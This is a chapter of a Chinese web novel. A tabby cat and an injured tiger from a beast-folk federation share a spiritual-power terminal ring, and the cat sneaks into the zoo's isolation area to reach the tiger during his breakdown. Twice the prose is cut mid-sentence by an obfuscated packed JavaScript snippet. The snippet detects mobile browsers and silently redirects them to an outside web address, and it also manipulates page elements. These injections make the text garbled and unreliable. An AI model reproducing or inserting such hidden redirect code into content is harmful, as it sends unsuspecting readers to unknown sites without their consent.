江野找不到机会藏戒指,只能咬紧牙关蹲坐在墙角,听着身后一左一右蹲着的工作人员唠叨安全事项。 猫耳朵不耐烦地闭起来后,还会被一左一右的人类伸手强行掀开,支棱起来继续听讲。 江野生气,在看到明明是共犯这会儿却一副没事虎的秦寂后更是火冒三丈,身后的尾巴在地上拍得砰砰响。 但江野是讲道理的聪明猫。 他知道人类是为猫着想为猫好,所以很不耐烦地听完了人类的唠叨,然后低头用脑袋挨个小腿蹭过去,慷慨地允许了人类的挠痒痒。 ——然后在刚才那个掏猫原始袋的人伸手过来的时候,眼疾爪快地用后脚蹬开。 被精准蹬开手的工作人员讪讪地蹲在旁边,眼巴巴地看着同事聚众吸猫。 摸着摸着,有人突然开口: “不对啊,野哥今天怎么这么安静?” 正沉浸吸猫的几人都是动作一顿。 江野见势不好,就地一个打滚,朝着隔离区的大门跑去。 “嘴里!猫嘴里有东西!” “把野哥按住!” “卧槽隔离区后面是杂物堆,里面好多螺丝螺帽小垃圾,吃了要命的!” “骗一下骗一下!” “野哥乖,嘬嘬嘬快过来有冻干——” “啊啊啊赶紧追上啊!把猫嘴掰开!!” 狸花猫的身法在猫届数一数二,江野灵活绕过人类路障,一路过五关斩六将,风驰电掣般奔向自由的远方。 江野把人类的兵荒马乱远远抛在身后,眼神兴奋,跑得两只耳朵都迎风后压。 呜呼,野哥溜咯~ 追猫失败惨遭遛的工作人员气喘吁吁,面面相觑,最后也不知怎的,就齐齐看向隔离区里的另一只当事猫。 秦寂抬起虎头看向天空,在心里吹了个口哨。 …… 江野的身上不太方便藏戒指,总在嘴里含着也不是个事,但是塞在那个角落又觉得不安全,思来想去,江野半夜敲开了布偶少爷家的门,获得了布偶少爷的衣服一件。 江野本意是想搞个之前在布偶少爷身上见过的那个小背心,好把终端藏进背心里随身带着。 结果布偶少爷家的那个人类在看到布偶少爷嘴爪并用在家里翻箱倒柜找衣服给江野后,眼睛忽然变得亮到吓猫,大门一关,转身抱出来一堆衣服,开始在江野身上比比划划。 江野是上门来求帮忙的,没好意思拒绝。 在换了十几套衣服,出卖色相拍照拍视频无数后,江野最终只穿走了一件前胸有一个翻盖小兜的墨绿色背心。 ——倒不是江野的审美比较朴素,实在是布偶少爷家的那些衣服都太羞耻了。 蕾丝边小女仆,美高制服裙子,护士裙子,各种样式的汉服,西装三件套……配套的饰品也是叮呤咣啷亮晶晶的一箱子。 那只黑白色的边牧甚至主动戴上夜上海小姐的帽子,当场给江野走了个交叉猫步。 布偶少爷就更不必说,裙子一穿,腮红一抹,尾巴一竖,灯光一打,整只猫就开始连摇带扭。 找镜头抛媚眼的动作不要太熟练。 江野用最快速度逃离这间以后很有可能不会再踏足的房子,简直不敢想象这一人一猫一狗成天都在家里玩什么。 第二天,江野穿着衣服揣着戒指终端去到虎园隔离区的时候,秦寂盯着猫看了一眼又一眼。 工作人员也十分稀罕地追着江野街拍。 作为大网红猫,江野见怪不怪地摆好pose,曲里拐弯给工作人员走了一段猫步,360度展现了自己的健康,甚至当场表演了一个大口吃饭,顺畅如厕后,工作人员这才迟疑着暂时放弃了带江野去做个b超的打算。 隔离区有工作人员不说还有摄像头,江野不方便拿出终端,秦寂就大概教了江野简单的操作方法,然后说其他用法和平板也差不多,让江野自己摸索,实在不会的可以直接问终端ai。 “终端ai?”江野问,“就是类似小爱同学的那种人工智障吗?” 秦寂掀开眼皮,懒洋洋反问:“小爱同学是什么?” 江野一时间也不知道怎么具体解释小爱同学的智障,想了想,精准概括:“就是你问猫,它给你找狗的那种人工智障。” “终端ai是每个精神力终端都会内嵌的智能辅助系统,即使在脱离主脑网络覆盖的地方,终端ai也能完成大部分自主辅助操作。” “你不用费心思去想终端怎么用,只要能用精神力开启终端,有什么问题直接问终端ai就行。” 秦寂在说到这些东西的时候,带着点漫不经心却侃侃而谈的自信,语气还能听出一些自傲,看着倒是真的有几分贵族的样子了。 “就像是你之前说的人类身份问题,你只要找一个有网络覆盖的地方,启动终端,告诉它你需要生成一个怎样的身份,它会自动完成一系列缜密的高难度操作。” “在兽人联邦,机甲飞行器从来都不是最珍贵的,精神力终端才是绝境时最能派上用场的东西。” 江野歪歪脑袋,忽然想起一件事:“说起来,你之前是把这东西藏哪了?” 秦寂作为一头被人类救助的老虎,浑身上下每一根毛都应该被检查过,这么大一个戒指,不该被忽视才对。 秦寂的下巴高高抬起,哼笑:“以这个星球的人类科技,是扫描不到精神力终端的。” 江野觉得秦寂有所隐瞒,甩甩耳朵,盯着用下巴看猫的秦寂瞅了又瞅,视线从秦寂的嘴巴,一路往后,停在秦寂的尾巴下面。 猫脸上的表情逐渐变得耐人寻味。 秦寂立刻炸毛低吼:“我是塞前爪伤口里了!” “哦哦哦,这样。” 江野尴尬地挪开视线,低头舔毛,假装猫很忙。 没办法,野哥就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998863|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这么一只爱干净的绝世好猫。 秦寂的虎鼻子忿忿喷气。 饭点一到,江野对着秦寂吃完一盆生骨肉,特意把蛋黄留到最后再嘬,一边嘬一边说:“我这几天得去看看之前领养出去的猫情况怎么样,如果被再次弃养,我得带回来安排过冬,就不过来这边了。” “你自己一头老虎也要好好吃饭好好喝水好好上厕所,知道吗?” 秦寂对江野这种安排小弟的语气十分不满,故意不吭声。 虎虽然还不太确定自己和猫的关系定位,但绝对不是猫老大和虎小弟的身份。 “不吭声也没事。”江野舔爪擦嘴,慢悠悠道,“反正我会派猫天天过来巡逻。” 秦寂龇牙:“你信不信我一张嘴就能吓跑你的那些小猫腿子?” “哦,那你吓一次,我就记一次。”江野半点不怂。 秦寂眯眼,警觉:“记了干什么?” “猫都记仇啊。”江野的毛嘴角掀起,露出小虎牙,“下次某头老虎再让我踩他精神力……” 黑历史再度袭来,秦寂无语凝噎,拥有真正虎牙的脑袋往爪子下面一塞,身体滚到背对江野的方向,虎尾生气一甩。 “行了行了知道了!” 语气带着无奈纵容却好心情的笑意。 *** 江野在虎园的兼职本来就不用天天都去,他之所以去的那么勤快完全是被虎勾.引的。 和秦寂说过之后,江野就开始一边琢磨那枚说是精神力终端的戒指,一边和猫群的其他猫一起分工家访。 这个家访很有意义。 江野去年家访过一轮,不仅及时捡回了三只再次被遗弃的猫,一只越狱跑出家门忘记怎么回去的蠢猫,还送了几只考察过觉得想加入某个家的猫。 就是吧…… 本来江野带着猫出行就很有猫社会炸街的味儿,现在江野又穿着件军绿色的背心,露出毛茸茸的大花臂,眼神犀利,小弟环绕,看着越发社会大哥起来。 江野甚至都没来得及去看之前心仪的那三套房子,忙了四天多,才把周边的小区全部走访完。 只剩下比较远的两个地方,得找个交通方式过去。 如果只有江野一只猫过去,江野完全可以坐公交,毕竟没人会要求一只狸花猫买票。 但今年有两只猫都想跟去看看自己的兄弟姐妹是不是在吃香喝辣。 江野低头思考,然后出去走了一圈,打了一只酱油色的金毛。 就是沈青平常养在诊所的那只叫小克的狗。 江野坐在小克的脑袋上占据方向盘,用尾巴拍拍小克的脊背:“上来喵,我们坐狗过去。” “好的老大!!” 猫们平常其实都是害怕狗的,因为狗会撵猫跑,更坏的狗还会咬猫,但有江野在,大家什么都不会害怕。 被好处收买的小克驮着三只猫稳稳当当往小区外面走,在江野拍了一下大脑门后,四爪并用直接加速。 江野坐在最前面,浑身的毛毛迎风飞扬,在需要拐弯的岔路口用猫爪按下小克的狗耳朵。 其实要论跑得快,那肯定还是边牧好,但边牧不如金毛听话。 而且坐边牧容易晕狗,金毛比较稳,出远门还得是金毛。 这一趟是真的远门,等到江野把那两只猫一一送出去,再开着狗回来,天都已经黑透了。 江野把累瘫了的狗送回诊所停好,喵喵喵哄着正在看狗腿上小天才手表的沈青给小克开了一大包冻干牛肉粒。 一路奔波,江野好不容易腾出空伸懒腰,后腿还没抻开,就被一只横冲直撞过来的奶牛猫当场创飞。 “老大!你可算是回来了!” 撞出去的奶牛猫一个滑铲乱七八糟地跑回来,对着江野大声喵喵。 “你让猫们帮忙看着的那头老虎疯掉了!” 21. 野哥天降 江野以最快速度赶到动物园,完全无视工作人员的围追堵截,横冲直撞钻进了隔离区。 “喵!!!” 江野找了一圈没在隔离区里看见秦寂,身体横在玻璃前,急得龇牙,浑身的毛都炸了起来,耳朵后撇,猫嘴大张着露出虎牙哈气,凶悍的样子像极了豹子。 “我勒个去野哥怎么这会儿来了!” “刚才泰哥失控肯定气味不对——你们进来都不关门的吗?!” “费洛蒙呢!快快快插上!” “来了来了,连插带喷——不过在隔离区外面呢,气味被挡住了,问题应该不大。” “……你但凡正眼看看野哥现在的样子呢?” “只有我觉着,野哥是因为没看到泰哥所以发火了么?”这段时间拍了一堆虎猫视频的姜豆探出脑袋看向狸花猫,压低声音,“就是对着咱们大喊:‘猫的虎呢,你们把猫的虎弄到哪里去了?!’这类的话……” 另一个工作人员十分无语地把姜豆的脑袋按下去:“我真服了,这种时候就不要磕你那个邪门的体型差cp了!” 反正他是不能理解,一头老虎和一只猫是怎么磕起来感情的。 “你懂什么,食物链体型差什么的最好磕了好不好……”姜豆哼了一声,手里的相机稳稳端着,“泰哥是不是检查快回来了?” 原本在哈气质问的江野耳朵一动,脑袋转向姜豆那边,绿眼睛盯着姜豆和旁边说话的工作人员。 “对,检查结束了,正往这边送呢。”工作人员看了眼手机的群消息,“说是检查结果没有太大问题,找不到泰哥突然发疯的原因,要等麻醉过去再观察一下……那什么,我怎么觉得有什么东西在看我,白毛汗都要被看出来了……” 后脑勺挂着冷汗的姜豆戳了一下同事,然后默默指向盯着她们两个看的狸花猫。 工作人员:“嘶……” 江野也不是不讲道理的猫,他努力把自己炸起来的猫毛捋顺,原地坐下,前爪并拢抵在身前,一副猫就在这等虎回来的架势。 工作人员沉默了一会儿,冷不丁开口:“那什么……有群么?我也有点磕了。” 两个人类在角落里偷偷扫码加群,被当面磕cp的当事猫用爪子勾着背心边缘,往下用力拽了拽。 刚才跑太快,背心窜到前爪咯吱窝的地方堆起来了。 身后传来一阵轱辘轱辘的响动,还混着几个人压低了的说话声,江野立刻扭头,看向铁门被打开的隔离区。 身穿蓝色工作服的饲养员正推着个铁担架往隔离区里面走,担架上躺着一只一动不动只有胸口在起伏的成年大虎。 秦寂没有醒,眼皮耷拉着,脑袋歪在担架边上,连尾巴尖都没动一下,整只虎看着又蔫吧又可怜。 江野站起来,肚皮紧紧贴在隔离玻璃外面,努力想要看清担架上的秦寂。 秦寂前爪上缠着的纱布渗了不少血出来,红殷殷的一片,这段时间原本已经愈合得差不多的伤口肯定是重新裂开了。 覆盖着金棕色皮毛的背脊纵横交错着抓痕,深的地方能看见翻卷的皮肉,之前结了痂的地方也被挠裂开,血痂混着乱蓬蓬的虎毛粘在一块儿,但应该被医生处理过,表面还糊了一层透明的胶状物。 最吓人的是虎的右后腿,一大块皮肉翻起来,露出里头惨白的筋膜,伤口边缘还留着深深的牙印子,一看就知道是被大型猫科动物用力撕咬过。 但隔离区里没有别的动物,只有秦寂一头虎。 江野想到之前奶牛猫说的秦寂在发疯,耳朵微转——难道是秦寂自己咬的? 江野按下心里的着急,努力集中精神,探出自己的精神力,穿过隔离玻璃,朝着秦寂扑过去,重重捋了一把秦寂被剃了毛的肚皮。 秦寂向来在意秃了的肚皮毛,结果这次却对江野的精神力没有任何反应,不知道是麻醉的效用太好,还是别的什么原因。 江野的精神力在秦寂身上贴着检查,近距离接触后,才看到秦寂身上的撕咬伤口不止后腿一处,但凡是秦寂自己能咬到的地方,都有牙齿撕咬的痕迹。 江野不知道秦寂究竟是怎么了,但应该是精神力方面的问题,莫名的,江野有一种预感,秦寂需要他。 只需要他。 他能帮秦寂。 ……猫得想个办法。 在工作人员看来,就是猫直勾勾盯着虎看了一阵,突然一个掉头就往隔离区后面的工作区域跑。 因为之前江野的前科而一直盯着猫的工作人员大喊:“拦住野哥!!他要去隔离区里面!” 其他工作人员立刻行动,有的在后面追江野,有的转头拦截,大有一雪前耻的意味。 不过,这也是为了猫的安全着想。 要是让江野真的蹿进隔离区,凭借着江野免疫各种诱.惑的坚定和滑不溜秋的走位,他们根本不可能在泰哥麻醉清醒前把猫抓出来。 经过之前那次抓包,这次走廊里甚至还特意横了好几个纸箱子挡在江野的必经之路上。 江野一门心思想往隔离区里面冲,在人类脚下钻来绕去,整只猫如同一道左右突击的棕色闪电。 “快关门!!!关门!!!” 本来马上就能冲进铁门的江野前爪前伸一个急刹车。 “咣当”一声,铁门被从里面结结实实关上,两个工作人员如临大敌般挡在铁门前面防猫。 江野的嗓子里发出呼噜呼噜的声音。 并不是猫咪被顺毛舒服发出的惬意呼噜声,而是一种夹杂了焦急坚定的催促警告。 戴了皮手套的手一点一点自猫身后伸过来,眼疾手快把小豹子一样的江野捞到半空,小心翼翼地举着就往外面走。 “我抓到了我抓到了!” “好好好快往外走……你小心野哥咬你。” “咬了也没事,野哥打过疫苗的。” “总之先把野哥带出去,我们得趁现在给泰哥把止咬器戴上,不然麻醉结束之后泰哥很有可能会再次出现自残行为……” 江野并没有攻击工作人员,更没有张嘴去咬。 被举着拉长成一条的猫只是扭头静静扭头看着隔离区里。 他看着昏迷的老虎被工作人员戴上止咬器,止咬器的两边蔓延出去两条金属锁链,极大程度地限制了虎的行动。 秦寂如果醒过来……一定会很生气吧。 江野被工作人员送回了园区办公室。 办公室里的人类立刻围上来,对着江野进行各种零食诱.惑,试图分散猫的注意力。 江野没跑也没叫,对着冻干罐头就是一顿狂炫,大口大口吞咽,吃得头都不抬。 …… 当天晚上。 月黑风高夜,狸花出没时。 夜色将整个野生动物园包裹得严严实实,只有几盏昏黄的路灯在地面投下暖黄色的光斑。 一道灰棕色的影子悄无声息地掠过围墙。 隔离区只有铁门可以进出,其他地方都是被墙壁和隔离玻璃严严实实封死的。 然而…… 白天吃饱喝足睡了一个下午的江野四爪交错飞快爬上树干,在树枝上站稳,转身抬起前爪用力在树干上磨了十几下爪子,而后迈着猫步顺着树枝走出去,眯着眼估量了一下距离,纵身一跃。 猫开始移动。 从这棵树到那棵树,从这面墙到那面墙。 猫的身体仿佛没有重量,每一次纵跃都精准而轻盈,尖利的爪子勾住砖缝,在夜色里如同流动的阴影般一路矫健攀升。 爬上砖墙后,江野转了一圈,找到铁丝网一处稍稍破损的缺口,缩紧肩胛骨,后脚在外面用力蹬了好几下,无比丝滑地钻了进去。 ……隔离区的天花板是开放式穹顶。 隔离区里的老虎爬不上遥不可及的穹顶,但这却难不倒隔离区外的猫。 没有什么困难能阻挡大哥的脚步。 夜风带来陌生的气味。 江野动了动胡须,嗅闻到了消毒水味道里夹杂着的血腥气。 虎园隔离区的外墙比别处更高,而且是光滑的水泥,不好攀爬,但接缝处有细细的排水管道向上延伸。 江野伸出爪子,勾住金属管道凸起的接环,后腿在墙面上轻轻一蹬,身体便向上蹿了一截。 一下又一下,墙上的猫条缩短又拉长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998864|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,蛄蛹着靠近穹顶。 江野的动作并不快,但每一步都踩得很稳。 隔离区的穹顶是个半圆形的大笼子,顶部是交错的钢架和强化玻璃,像是一个倒扣的碗。 虎的气味很浓,又不会飞,所以只要不是大风下雨下雪这种极端天气,隔离区的穹顶都是打开状态的。 江野沿着钢架往前走,因为运动而升温的爪垫按在冰凉的钢架上,留下一连串很快在夜风吹拂下消失的猫爪印。 穹顶是真的很高。 江野探头往下看了一眼,立刻把猫脑袋收回去了。 这高度看的猫眼前一黑。 跳不了一点。 江野又不是真的作死猫,跳高和跳楼他还是分得清的。 要是能抓只鸟就好了,还能借用一下翅膀。 但江野好不容易爬上来的穹顶,就这么让猫下去,他又觉得不甘心。 在穹顶边上徘徊犹豫了好一会儿,江野想起秦寂之前说的,遇到什么问题都能问那个精神力终端的ai,索性死马当作活马医,掏出小背心里的戒指,把精神力探了进去。 …… 秦寂清醒地知道自己精神力暴动了。 原本秦寂并没有意识到,江野每天过来的陪伴,一虎一猫之间的精神力沟通对话,对精神力受损严重的他而言意味着什么。 直到这次江野忙着家访领养猫的事,一连好几天没有过来,而秦寂也从一开始承诺的好吃好喝好睡,到食欲全无,闭上眼睛就剧烈头疼,好不容易睡着却连番做噩梦。 秦寂的虎生并没有那么贵族,甚至说不上体面。 在继承爵位前,他甚至是被兽人们当做饭后消遣随意谈及的笑话。 但谁在意从前那些过往呢,最后的赢家是他。 他一无所有,所以无所畏惧。 ——秦寂本来是这样认为的。 但在精神力混乱的梦境里,从前的记忆纷至沓来,一幕幕画面像是不断排列组合变化扭曲的万花筒,一刀一刀搅碎秦寂的理智,精神海被镇压许久的暗伤瞬间爆发,彻底席卷了秦寂的意识。 没有被及时治疗,精神力暴动的兽人最终只有两个下场。 要么精神力彻底暴乱陷入疯狂,被兽人纠察队合法击杀;要么精神力完全枯竭,在意识混沌中自残自伤,最终死于重伤。 秦寂在意识模模糊糊醒来,察觉到自己的嘴被什么东西箍住,晃动间还有铁链哗啦作响的声响后,就知道自己八成是后一种。 醒来的秦寂没有睁开眼,只是静静躺在草垫上,就连尾巴都没有动一下。 ——这么看,被追杀时精神力挥霍一空倒算是好事,没有直接爆炸恩将仇报这里的人类,也没有炸飞小猫打卡上班的工作。 哈。 人类的麻醉剂量再高也无法抑制秦寂精神力的混乱,脑中乱七八糟光怪陆离的画面仍旧在搅动,秦寂只觉得脑袋里装了几百个绞肉机,正在一寸一寸割裂他的神经。 秦寂的肌肉时不时抽动一下。 他努力集中最后的注意力,想着想着,发现他只能想江野。 ……也不知道小猫现在在做什么。 还好,他及时把精神力终端给小猫了。 虽然精神力终端没有攻击力,但至少,小猫以后能有个学习掌握精神力的渠道,等到精神力稳定后,如果能顺利变成人形,说不定可以隐藏在人类社会里过完一生。 也算是他这一生还做了件好事。 没太欺负那只实际帮了他不少的小猫。 想着想着,秦寂忽然感觉有什么东西在拽他的虎耳朵。 热热的,烫烫的。 像是在冬天靠近壁炉时的温暖灼烧感。 ……不对。 不对!!! 秦寂猛地睁开眼,顺着精神力往头顶看。 一只用前爪左右勾着火红色精神力滑翔翼的狸花猫从天而降,猫尾巴上套着一个眼熟的精神力终端,绿眼睛里兴奋地燃烧着火苗,猫爪张开,四朵粉色小梅花爪垫精准朝着秦寂的脸砸过来。 “喵!” “笨蛋秦寂!傻愣着干嘛!接我一下啊!”